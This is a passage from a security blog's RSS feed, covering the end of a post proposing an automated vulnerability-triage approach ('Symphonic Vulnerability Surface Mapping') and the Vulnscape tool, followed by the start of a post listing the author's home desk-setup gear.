  &lt;li&gt;This disclosure is collected via a &lt;a href=&quot;#vulnerability-intelligence&quot;&gt;vulnerability intelligence&lt;/a&gt; source (such as &lt;a href=&quot;https://twitter.com&quot;&gt;Twitter&lt;/a&gt;).&lt;/li&gt;
  &lt;li&gt;A security analyst (or VM team) takes this disclosure/alert and begins &lt;a href=&quot;#vulnerability-triage-deep-dive&quot;&gt;vulnerability triage&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;The security analyst first checks to see what products/versions are affected by the disclosed vulnerability.&lt;/li&gt;
  &lt;li&gt;The analyst then reviews known &lt;a href=&quot;#asset-inventory&quot;&gt;inventory sources&lt;/a&gt; (CMDB, scanners, etc..) to determine if the affected products exist within the organization’s environment.&lt;/li&gt;
  &lt;li&gt;If the product doesn’t exist in the environment, the issue is closed.&lt;/li&gt;
  &lt;li&gt;However if the affected product &lt;em&gt;does&lt;/em&gt; exist in the environment, further analysis must be performed.&lt;/li&gt;
  &lt;li&gt;The analyst will want to determine whether the vulnerability meets the (or exhibits certain) &lt;a href=&quot;#risk-criteria&quot;&gt;criteria&lt;/a&gt; for a critical (or maybe even high) risk finding.&lt;/li&gt;
  &lt;li&gt;If the vulnerability is definitely not high/critical in nature, this often means no further manual triage is necessary. The vulnerability will be addressed via the normal &lt;a href=&quot;#a-primer-on-vulnerability-management&quot;&gt;vulnerability management&lt;/a&gt; process within the defined SLAs.&lt;/li&gt;
  &lt;li&gt;If however, the vulnerability &lt;em&gt;does&lt;/em&gt; have certain high/critical-risk &lt;a href=&quot;#risk-criteria&quot;&gt;criteria&lt;/a&gt;, it should be further analyzed to determine technical risk and whether emergency or accelerated actions must be taken.&lt;/li&gt;
  &lt;li&gt;The analyst performs a thorough &lt;a href=&quot;#risk-analysis&quot;&gt;risk analysis&lt;/a&gt; of the finding based on any and all vulnerability metadata and metadata about the affected assets.&lt;/li&gt;
  &lt;li&gt;Where possible, the analyst will further enrich this risk determination based on known mitigating factors such as &lt;a href=&quot;#security-control-plane-advanced-optional&quot;&gt;technical controls&lt;/a&gt; which may further reduce the residual risk.&lt;/li&gt;
  &lt;li&gt;Technical risk determination is then coupled with business context to come up with a final risk score.&lt;/li&gt;
  &lt;li&gt;Based on this residual risk value, a determination is made on how to &lt;a href=&quot;#prioritization&quot;&gt;prioritize&lt;/a&gt; mitigation/remediation/patching/&lt;a href=&quot;#treatment&quot;&gt;risk treatments&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;em&gt;Phew!&lt;/em&gt;. That is quite a process right? If used sparingly, it really isn’t &lt;em&gt;that&lt;/em&gt; much work. But at scale, performing this series of steps manually can be a time consuming task. This means, where security staffing is limited and quick decision making is needed, traditional &lt;a href=&quot;#vulnerability-triage-deep-dive&quot;&gt;vulnerability triage&lt;/a&gt; via scanning and manual analysis is not sufficient. &lt;em&gt;Enter a new method for vuln triage…&lt;/em&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;symphonic-vulnerability-surface-mapping&quot;&gt;Symphonic Vulnerability Surface Mapping&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Symphonic Vulnerability Surface Mapping&lt;/strong&gt; (“&lt;em&gt;SVSM&lt;/em&gt;”) is a &lt;em&gt;new&lt;/em&gt; approach to &lt;a href=&quot;#vulnerability-triage-deep-dive&quot;&gt;vulnerability triage&lt;/a&gt; and attack surface mapping. The idea is to ingest vulnerabilities in real-time from a wide &lt;a href=&quot;#vulnerability-intelligence&quot;&gt;variety of sources&lt;/a&gt;, &lt;a href=&quot;#correlating-vulnerability-intelligence-with-asset-inventory&quot;&gt;correlate&lt;/a&gt; the vulnerability metadata (specifically affected product/version) with known &lt;a href=&quot;#asset-inventory&quot;&gt;inventory&lt;/a&gt; (also in real-time) and then (optionally) &lt;a href=&quot;#risk-analysis&quot;&gt;calculate risk&lt;/a&gt; and make &lt;a href=&quot;#prioritization&quot;&gt;prioritization&lt;/a&gt; decisions based on a fully-automated (or semi-automated) &lt;a href=&quot;#risk-analysis&quot;&gt;analysis&lt;/a&gt; engine. Let’s talk about how this can be done…&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Identify &lt;a href=&quot;#vulnerability-intelligence&quot;&gt;vulnerability intelligence&lt;/a&gt; sources.&lt;/li&gt;
  &lt;li&gt;Build individual &lt;strong&gt;ingestors&lt;/strong&gt; to extract normalized vulnerability metadata from different vulnerability data sources.&lt;/li&gt;
  &lt;li&gt;Leverage a metadata-parsing-engine (MPE) (&lt;em&gt;leveraging ML, keywords, etc..&lt;/em&gt;) to facilitate extraction of relevant metadata from sources with non-standard formats.&lt;/li&gt;
  &lt;li&gt;Develop individual &lt;strong&gt;ingestors&lt;/strong&gt; to populate &lt;a href=&quot;#asset-inventory&quot;&gt;asset inventory&lt;/a&gt; and extract normalized asset metadata from unique inventory sources.&lt;/li&gt;
  &lt;li&gt;Perform basic &lt;a href=&quot;#correlating-vulnerability-intelligence-with-asset-inventory&quot;&gt;correlation&lt;/a&gt; of vulnerability and asset inventory data to determine high-level applicability and exposure.&lt;/li&gt;
  &lt;li&gt;Store correlated data in a database.&lt;/li&gt;
  &lt;li&gt;*Leverage advanced &lt;a href=&quot;#risk-analysis&quot;&gt;risk analysis&lt;/a&gt; engine (RAE) to perform automated risk analyses at scale.&lt;/li&gt;
  &lt;li&gt;*With risk scores in hand, deliver &lt;a href=&quot;#prioritization&quot;&gt;prioritized&lt;/a&gt; plan for addressing vulnerabilities.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;*Steps 7 and 8 as described above are considered &lt;a href=&quot;#vulnerability-triage-levels&quot;&gt;more advanced/higher order&lt;/a&gt; versions of your basic vulnerability triage process.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/vulnscape/svsm.png&quot; alt=&quot;SVSM&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ultimately, this process provides real-time feedback on potential exposures, risk calculations related to these findings and context for making treatment decisions. It does this at a speed which can not be obtained using traditional manual triage and automated scanning processes.&lt;/p&gt;

&lt;h2 id=&quot;security-control-plane-advancedoptional&quot;&gt;Security Control Plane (Advanced/Optional)&lt;/h2&gt;

&lt;p&gt;The &lt;strong&gt;Security Control Plane&lt;/strong&gt; is a means in which to provide further enrichment to the &lt;a href=&quot;#risk-analysis&quot;&gt;risk analysis&lt;/a&gt; process. To fully understand the risk of any vulnerability as it applies to an affected system, one must also understand how the security controls in that environment help mitigate potential risks relevant to the vulnerability.&lt;/p&gt;

&lt;p&gt;For example, if you have software that prevents execution of non-whitelisted binaries, then vulnerabilities which require execution of an untrusted binary may be rendered completely ineffective.&lt;/p&gt;

&lt;p&gt;This understanding of security controls and how they effectively mitigate vulnerabilities can be applied to the risk analysis engine to better enrich residual risk determinations.&lt;/p&gt;

&lt;h2 id=&quot;svsm-faq&quot;&gt;SVSM FAQ&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;So what make’s SVSM different?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Real-time &lt;a href=&quot;#correlating-vulnerability-intelligence-with-asset-inventory&quot;&gt;correlation&lt;/a&gt;, &lt;a href=&quot;#risk-analysis&quot;&gt;analysis&lt;/a&gt; and &lt;a href=&quot;#prioritization&quot;&gt;prioritization&lt;/a&gt; of vulnerabilities as they are disclosed across a multitude of vulnerability intelligence feeds. &lt;strong&gt;&lt;a href=&quot;#symphonic-vulnerability-surface-mapping&quot;&gt;SVSM&lt;/a&gt;&lt;/strong&gt; takes what has always been a manual or relatively slow process and turns it into something that is real-time, dynamic and fully automated.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What’s the catch?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;#symphonic-vulnerability-surface-mapping&quot;&gt;SVSM&lt;/a&gt;&lt;/strong&gt; requires a &lt;em&gt;relatively&lt;/em&gt; high-fidelity &lt;a href=&quot;#asset-inventory&quot;&gt;asset inventory&lt;/a&gt;. This inventory must at a &lt;em&gt;minimum&lt;/em&gt; include product/version information mapped to unique system identifiers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why use multiple vulnerability intelligence sources?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;No one &lt;a href=&quot;#vulnerability-intelligence&quot;&gt;vulnerability intelligence&lt;/a&gt; source has all relevant metadata needed to perform thorough &lt;a href=&quot;#risk-analysis&quot;&gt;risk analysis&lt;/a&gt; of a vulnerability as it applies to an affected system. Often in the process of risk analysis multiple sources are used to ultimately derive the final risk score. By parsing/ingesting data from a variety of sources, we can augment single-source analysis and get the clearest picture of risk.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What if I don’t have a lot of metadata?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;No problem!&lt;/em&gt; &lt;strong&gt;&lt;a href=&quot;#symphonic-vulnerability-surface-mapping&quot;&gt;SVSM&lt;/a&gt;&lt;/strong&gt; is more than capable of performing &lt;a href=&quot;#correlating-vulnerability-intelligence-with-asset-inventory&quot;&gt;correlation&lt;/a&gt;, &lt;a href=&quot;#risk-analysis&quot;&gt;risk analysis&lt;/a&gt; and decision making even with low-fidelity metadata. This flexibility provides the ability to perform everything from simple triage (am I exposed?) all the way to fully automated attack-surface mapping and risk analysis with robust &lt;a href=&quot;#prioritization&quot;&gt;prioritization&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What’s with the name “Symphonic Vulnerability Surface Mapping”?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;#symphonic-vulnerability-surface-mapping&quot;&gt;SVSM&lt;/a&gt;&lt;/strong&gt; is a new take on an age-old process. It utilizes the benefits of automation and orchestration to solve the issues that have always plagued &lt;a href=&quot;#vulnerability-triage-deep-dive&quot;&gt;vulnerability triage&lt;/a&gt;. &lt;strong&gt;&lt;a href=&quot;#symphonic-vulnerability-surface-mapping&quot;&gt;SVSM&lt;/a&gt;&lt;/strong&gt; is just my way of &lt;em&gt;marketing&lt;/em&gt; this idea. The use of the term “symphonic” is a play on the established concept of “orchestration”.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;risk-analysis&quot;&gt;Risk Analysis&lt;/h1&gt;

&lt;p&gt;In the context of &lt;a href=&quot;#vulnerability-triage-deep-dive&quot;&gt;vulnerability triage&lt;/a&gt; and &lt;strong&gt;&lt;a href=&quot;#symphonic-vulnerability-surface-mapping&quot;&gt;SVSM&lt;/a&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;a href=&quot;#risk-analysis&quot;&gt;manual risk analysis&lt;/a&gt;&lt;/strong&gt; is the nut we are trying to crack. Performing triage at scale is undoubtedly cumbersome and risk analysis as a component of that process is certainly one of the worst offenders from an overhead perspective. &lt;em&gt;So how can we automate?&lt;/em&gt; First, let’s understand what &lt;a href=&quot;#risk-criteria&quot;&gt;criteria&lt;/a&gt; we are interested in when &lt;a href=&quot;#risk-analysis&quot;&gt;determining risk&lt;/a&gt; and how we use that criteria to calculate risk.&lt;/p&gt;

&lt;h2 id=&quot;risk-criteria&quot;&gt;Risk Criteria&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;Vulnerability disclosure date (When was the vulnerability first published?)&lt;/li&gt;
  &lt;li&gt;Vulnerability dwell-time (The length of time a vulnerability has been present on a system)&lt;/li&gt;
  &lt;li&gt;Patch publish date (When, if applicable, was the patch itself published?)&lt;/li&gt;
  &lt;li&gt;Does the vulnerability affect business-critical systems?&lt;/li&gt;
  &lt;li&gt;Does the vulnerability affect systems which store/process sensitive data?&lt;/li&gt;
  &lt;li&gt;System type (e.g. database, server, network device, workstation, etc…)&lt;/li&gt;
  &lt;li&gt;Scope (i.e. limited vs. widespread)&lt;/li&gt;
  &lt;li&gt;Externality (e.g. internal, external, segmented, etc…)&lt;/li&gt;
  &lt;li&gt;Mitigating Controls ( &lt;a href=&quot;#security-control-plane-advanced-optional&quot;&gt;Security Control Plane&lt;/a&gt; )&lt;/li&gt;
  &lt;li&gt;CVSS Base score (vector, complexity, privileges required, user interaction)&lt;/li&gt;
  &lt;li&gt;CVSS Temporal score (exploit code availability, patch availability, confidence level)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;risk-matrix&quot;&gt;Risk Matrix&lt;/h2&gt;
&lt;p&gt;So how is risk typically calculated in practice? A simple risk matrix as shown below is an easy way to &lt;strong&gt;qualitatively&lt;/strong&gt; derive a risk determination. However, this matrix only considers &lt;strong&gt;likelihood&lt;/strong&gt; (&lt;em&gt;probability&lt;/em&gt;) and &lt;strong&gt;impact&lt;/strong&gt; in a vacuum. What it does not take into account is &lt;strong&gt;business context&lt;/strong&gt;. It is recommended to also understand the business context of a system when determining a final risk score.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/vulnscape/riskmatrix.png&quot; alt=&quot;risk matrix&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;vulnerability-escalation&quot;&gt;Vulnerability Escalation&lt;/h2&gt;

&lt;p&gt;As previously mentioned, not every vulnerability is worthy of manual triage. The overwhelming majority of vulnerabilities are expected to be addressed as a result of routine patching and standard prioritization sourced from typical vulnerability scanning activities. To determine which vulnerabilities ultimately require &lt;a href=&quot;#risk-analysis&quot;&gt;manual analysis&lt;/a&gt;, we use an escalation process flow coupled with a number of defined escalation criteria. This flow as well as the criteria are provided in more detail below.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Escalation Criteria&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Zero-days&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/designer-vulnerabilities#title&quot;&gt;Named/publicized “designer” vulnerabilities&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Vulnerabilities that are being targeted by threat groups in an active campaign&lt;/li&gt;
  &lt;li&gt;Critical-severity vulnerabilities that affect external-facing or sensitive assets&lt;/li&gt;
  &lt;li&gt;Vulnerabilities that affect a wide scope of systems&lt;/li&gt;
  &lt;li&gt;Vulnerabilities affecting business-critical systems&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Vulnerabilities which have one or more of these characteristics are often candidates for further &lt;a href=&quot;#risk-analysis&quot;&gt;analysis&lt;/a&gt; to determine if they require accelerated treatment. The vulnerability escalation process flow depicted below helps further illustrate this concept.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability Escalation Process Flow&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/vulnscape/escalationprocess.png&quot; alt=&quot;escalation flow&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;prioritization&quot;&gt;Prioritization&lt;/h2&gt;

&lt;p&gt;Presumably, if &lt;a href=&quot;#risk-analysis&quot;&gt;risk analysis&lt;/a&gt; is thorough, prioritization is &lt;em&gt;mostly&lt;/em&gt; a question of fixing the highest risk things first and then moving down the list. In reality however, there are a few additional factors that could further influence how vulnerabilities are ultimately prioritized post-analysis.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Level-of-effort (LoE) to patch&lt;/li&gt;
  &lt;li&gt;Is there a patch, workaround or mitigating control available to further mitigate risk?&lt;/li&gt;
  &lt;li&gt;Can applying a single fix remediate multiple vulnerabilities (or entire classes of vulnerabilites) at once? If so, and for example, there could be one fix which applies to a large number of medium-risk findings which if resolved at scale would reduce &lt;strong&gt;more&lt;/strong&gt; risk than applying a single fix for a single high-risk finding.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;treatment&quot;&gt;Treatment&lt;/h2&gt;

&lt;p&gt;Though not really in scope for &lt;a href=&quot;#vulnerability-triage-deep-dive&quot;&gt;vulnerability triage&lt;/a&gt;, I wanted to at least mention the final step, &lt;strong&gt;Vulnerability Treatment&lt;/strong&gt;, as it is crucial to the overall process of &lt;a href=&quot;#a-primer-on-vulnerability-management&quot;&gt;vulnerability management&lt;/a&gt;. It is within this step that vulnerabilities are reported, patched, resolved, mitigated, or otherwise addressed. &lt;em&gt;What could be more important!&lt;/em&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;vulnscape&quot;&gt;Vulnscape&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;#symphonic-vulnerability-surface-mapping&quot;&gt;SVSM&lt;/a&gt;&lt;/strong&gt; as a concept is being brought to life through a new open-source tool dubbed &lt;strong&gt;&lt;a href=&quot;https://github.com/shellsharks/Vulnscape&quot;&gt;Vulnscape&lt;/a&gt;&lt;/strong&gt;! This tool is in &lt;em&gt;very early stages&lt;/em&gt;, but over time, the goal is to develop the following as modular components…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Vulnerability ingestors for the wide variety of potential &lt;a href=&quot;#vulnerability-intelligence&quot;&gt;vulnerability intelligence&lt;/a&gt; sources&lt;/li&gt;
  &lt;li&gt;Asset inventory ingestors for the wide variety of enterprise &lt;a href=&quot;#asset-inventory&quot;&gt;asset inventory&lt;/a&gt; sources&lt;/li&gt;
  &lt;li&gt;A &lt;strong&gt;Metadata Parsing Engine&lt;/strong&gt; (MPE) that will be used to extract relevant vulnerability metadata from non-standard vulnerability data sources&lt;/li&gt;
  &lt;li&gt;An automated (or semi-automated) &lt;strong&gt;&lt;a href=&quot;#risk-analysis&quot;&gt;Risk Analysis&lt;/a&gt; Engine&lt;/strong&gt; (RAE) capable of risk-based decision making at scale&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#prioritization&quot;&gt;Prioritization&lt;/a&gt; features&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With version 1.0, I aim to bring a limited set of inventory/vulnerability ingestors as well as a basic &lt;a href=&quot;#correlating-vulnerability-intelligence-with-asset-inventory&quot;&gt;correlation&lt;/a&gt; capability (for high-level exposure notification). &lt;strong&gt;Stay tuned!&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;potential-applications&quot;&gt;Potential Applications&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;#symphonic-vulnerability-surface-mapping&quot;&gt;SVSM&lt;/a&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;a href=&quot;#vulnscape&quot;&gt;Vulnscape&lt;/a&gt;&lt;/strong&gt; have applications that I think extend beyond just simple-to-advanced &lt;a href=&quot;#vulnerability-triage-deep-dive&quot;&gt;vulnerability triage&lt;/a&gt;. I see applications/integration opportunities in other domains as well. For example, it could be used in penetration testing activities related to “&lt;em&gt;&lt;a href=&quot;https://github.com/AonCyberLabs/Windows-Exploit-Suggester&quot;&gt;exploit suggesters&lt;/a&gt;&lt;/em&gt;”. Imagine hooking an &lt;strong&gt;SVSM&lt;/strong&gt; tool like &lt;strong&gt;Vulnscape&lt;/strong&gt; up to an exploit framework solution like &lt;a href=&quot;https://www.metasploit.com&quot;&gt;Metasploit&lt;/a&gt;. Using this,  you could more accurately target endpoints with exploits most likely to be successful. This is but one example of how &lt;strong&gt;Vulnscape&lt;/strong&gt; could be applied beyond just vulnerability triage!&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;

&lt;p&gt;Thanks for taking the time to read! Feel free to &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;contact me&lt;/a&gt; if you are interested in learning more about &lt;strong&gt;&lt;a href=&quot;#symphonic-vulnerability-surface-mapping&quot;&gt;SVSM&lt;/a&gt;&lt;/strong&gt;, or would like be a part of the future of &lt;strong&gt;&lt;a href=&quot;#vulnscape&quot;&gt;Vulnscape&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;
</description>
        <pubDate>Thu, 01 Apr 2021 15:37:00 -0400</pubDate>
        <link>https://shellsharks.com/symphonic-vulnerability-surface-mapping</link>
        <guid isPermaLink="true">https://shellsharks.com/symphonic-vulnerability-surface-mapping</guid>
        
        <category>infosec</category>
        
        <category>foss</category>
        
        <category>tools</category>
        
        <category>python</category>
        
        <category>dev</category>
        
        <category>vm</category>
        
        <category>svsm</category>
        
        <category>vulnscape</category>
        
        <category>blue</category>
        
        <category>risk</category>
        
        <category>technical</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Desk Setup 2021</title>
        <shark:summary><p>Full time remote-work has necessitated a serious home-workstation. This post is dedicated to the gear that is part of my setup.</p>
</shark:summary>
        <description>&lt;p&gt;Full time remote-work has necessitated a serious home-workstation. This post is dedicated to the gear that is part of my setup.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/desksetup/currentsetup.jpeg&quot; alt=&quot;pic of current setup&quot; /&gt;&lt;/p&gt;

&lt;p&gt;(&lt;em&gt;Please ignore my poor cable management&lt;/em&gt;.)&lt;/p&gt;

&lt;div class=&quot;containbox&quot;&gt;This post was kept current until May 20, 2022. &lt;a href=&quot;https://shellsharks.com/uses#desk-setup-hardware&quot;&gt;Go here for an up-to-date view of my setup&lt;/a&gt;.&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;gear-list&quot;&gt;Gear List&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Desk&lt;/strong&gt; : IKEA &lt;a href=&quot;https://www.ikea.com/us/en/p/skogsta-dining-table-acacia-70419264/&quot;&gt;SKOGSTA 92” Dining Table&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Chair&lt;/strong&gt; : Secretlab &lt;a href=&quot;https://secretlab.co/collections/titan-series#titan_2020_softweave-charcoal_blue&quot;&gt;TITAN&lt;/a&gt; (SoftWeave Charcoal Blue)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Computer&lt;/strong&gt; : Apple &lt;a href=&quot;https://support.apple.com/kb/sp697?locale=en_US&quot;&gt;Mac Pro 6,1 (Late 2013)&lt;/a&gt; [ 3.0 GHz 8-Core Intel Xeon E5 CPU, 64 GB 1866 MHz DDR3 Memory, AMD FirePro D300 2GB GPU, 1 TB SSD ] - &lt;em&gt;Drives the three displays&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Keyboard&lt;/strong&gt; : Apple &lt;a href=&quot;https://www.apple.com/shop/product/MLA22LL/A/magic-keyboard-us-english&quot;&gt;Magic Keyboard&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Trackpad&lt;/strong&gt; : Apple &lt;a href=&quot;https://www.apple.com/shop/product/MJ2R2LL/A/magic-trackpad-2-silver&quot;&gt;Magic Trackpad 2&lt;/a&gt; [ &lt;em&gt;Silver&lt;/em&gt; ]&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Mouse&lt;/strong&gt; : Apple &lt;a href=&quot;https://www.apple.com/shop/product/MLA02LL/A/magic-mouse-2-silver&quot;&gt;Magic Mouse 2&lt;/a&gt; [ &lt;em&gt;Silver&lt;/em&gt; ]&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Other Computer(s) on Desk&lt;/strong&gt; :
    &lt;ul&gt;
      &lt;li&gt;Apple &lt;a href=&quot;https://support.apple.com/kb/sp719?locale=en_US&quot;&gt;MacBook Pro (Retina, 15-inch, Mid 2015)&lt;/a&gt; [ 2.5 GHz Quad-Core Intel Core i7 CPU, 16 GB 1600 MHz DDR3 Memory, AMD Radeon R9 M370X 2 GB GPU, 500 GB SSD ]&lt;/li&gt;
      &lt;li&gt;Apple &lt;a href=&quot;https://everymac.com/systems/apple/powerbook_g4/specs/powerbook_g4_1.67_15_hr.html&quot;&gt;PowerBook G4&lt;/a&gt; [ 1.67 GHz PowerPC 64 CPU, 1 GB DDR2 SDRAM Memory, ATI Mobility Radeon 970 128 MB GPU, 100 GB HDD ]&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Tablet&lt;/strong&gt; : Apple &lt;a href=&quot;https://www.apple.com/ipad-pro/&quot;&gt;iPad Pro&lt;/a&gt; (2021, M1, 11-inch, Space Gray, 512GB, Wi-Fi)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Monitors&lt;/strong&gt; :
    &lt;ul&gt;
      &lt;li&gt;&lt;em&gt;Upper Curved Monitor&lt;/em&gt; : LG &lt;a href=&quot;https://www.lg.com/us/business/desktop-monitors/lg-38CB99-W&quot;&gt;38” Class Curved UltraWide Monitor (38CB99-W)&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;em&gt;Lower Monitors&lt;/em&gt; (x2) : LG &lt;a href=&quot;https://www.lg.com/us/business/desktop-monitors/lg-34UB67-B&quot;&gt;34” Class Monitor (34UB67-B)&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Monitor Riser&lt;/strong&gt; : &lt;a href=&quot;https://www.amazon.com/gp/product/B07H8NHR8N/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;amp;psc=1&quot;&gt;Dual Monitor Bamboo Riser&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;KVM Switch&lt;/strong&gt; : CKL USB 3.0 &lt;a href=&quot;https://www.amazon.com/gp/product/B08SVWY3F7/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;amp;psc=1&quot;&gt;2x3 HDMI KVM Switch Triple Monitor 2 Port Extended Display&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Laptop Dock&lt;/strong&gt; : OWC &lt;a href=&quot;https://eshop.macsales.com/shop/owc-thunderbolt-dock&quot;&gt;Thunderbolt Dock&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;UPS&lt;/strong&gt; : CyberPower &lt;a href=&quot;https://www.amazon.com/gp/product/B00429N19W/ref=ppx_yo_dt_b_asin_title_o00_s00?ie=UTF8&amp;amp;psc=1&quot;&gt;CP1500PFCLCD&lt;/a&gt; Sinewave UPS System, 1500VA/1000W - &lt;em&gt;Lives underneath the desk.&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Webcam&lt;/strong&gt; : Logitech &lt;a href=&quot;https://www.logitech.com/en-us/products/webcams/brio-4k-hdr-webcam.960-001105.html&quot;&gt;Brio&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Audio Interface&lt;/strong&gt; : Universal Audio &lt;a href=&quot;https://www.uaudio.com/audio-interfaces/apollo-twin-mkii.html&quot;&gt;Apollo Twin MKII Duo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Studio Headphones&lt;/strong&gt; : AKG &lt;a href=&quot;https://www.amazon.com/AKG-K240STUDIO-Semi-Open-Professional-Headphones/dp/B0001ARCFA&quot;&gt;Pro Audio K240&lt;/a&gt; Studio Headphones&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Other Headphones&lt;/strong&gt; : Apple &lt;a href=&quot;https://www.apple.com/airpods-max/&quot;&gt;AirPods Max&lt;/a&gt; (Sky Blue)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Microphone&lt;/strong&gt; : Audio-Technica &lt;a href=&quot;https://www.amazon.com/Audio-Technica-AT2020-Cardioid-Condenser-Microphone/dp/B0006H92QK&quot;&gt;AT2020 Cardioid Condenser Studio XLR Microphone&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Boom Arm&lt;/strong&gt; : Samson &lt;a href=&quot;https://www.amazon.com/dp/B081GD9LLM/ref=twister_B085RTZN3G?_encoding=UTF8&amp;amp;psc=1&quot;&gt;MBA48-48 Microphone Boom Arm&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Speakers&lt;/strong&gt; : Apple &lt;a href=&quot;https://www.apple.com/homepod-mini/&quot;&gt;HomePod mini&lt;/a&gt; (x2)&lt;/li&gt;
  &lt;li&gt;Apple &lt;a href=&quot;https://www.apple.com/airpods-2nd-generation/&quot;&gt;AirPods&lt;/a&gt; [2nd generation]&lt;/li&gt;
  &lt;li&gt;Elgato &lt;a href=&quot;https://www.elgato.com/en/stream-deck&quot;&gt;Stream Deck&lt;/a&gt; [MK.1]&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Lights&lt;/strong&gt; :
    &lt;ul&gt;
      &lt;li&gt;Dyson &lt;a href=&quot;https://www.dyson.com/lighting/task-lighting/dyson-lightcycle-morph/dyson-lightcycle-morph-floor-black-brass&quot;&gt;Lightcycle Morph floor light&lt;/a&gt; [Black/Brass]&lt;/li&gt;
      &lt;li&gt;Hue &lt;a href=&quot;https://www.philips-hue.com/en-us/p/hue-white-and-color-ambiance-iris-table-lamp/046677561796&quot;&gt;Iris table lamp&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Hue &lt;a href=&quot;https://www.philips-hue.com/en-us/p/hue-white-and-color-ambiance-lightstrip-plus-base-v4-80-inch/046677555337&quot;&gt;Lightstrip Plus base&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Hue &lt;a href=&quot;https://www.philips-hue.com/en-us/p/hue-white-and-color-ambiance-go-portable-light--latest-model-/7602031U7&quot;&gt;Go portable light&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Hue &lt;a href=&quot;https://www.philips-hue.com/en-us/p/hue-white-and-color-ambiance-play-light-bar-double-pack/7820230U7#overview&quot;&gt;Play light bar&lt;/a&gt; [double pack, white]&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
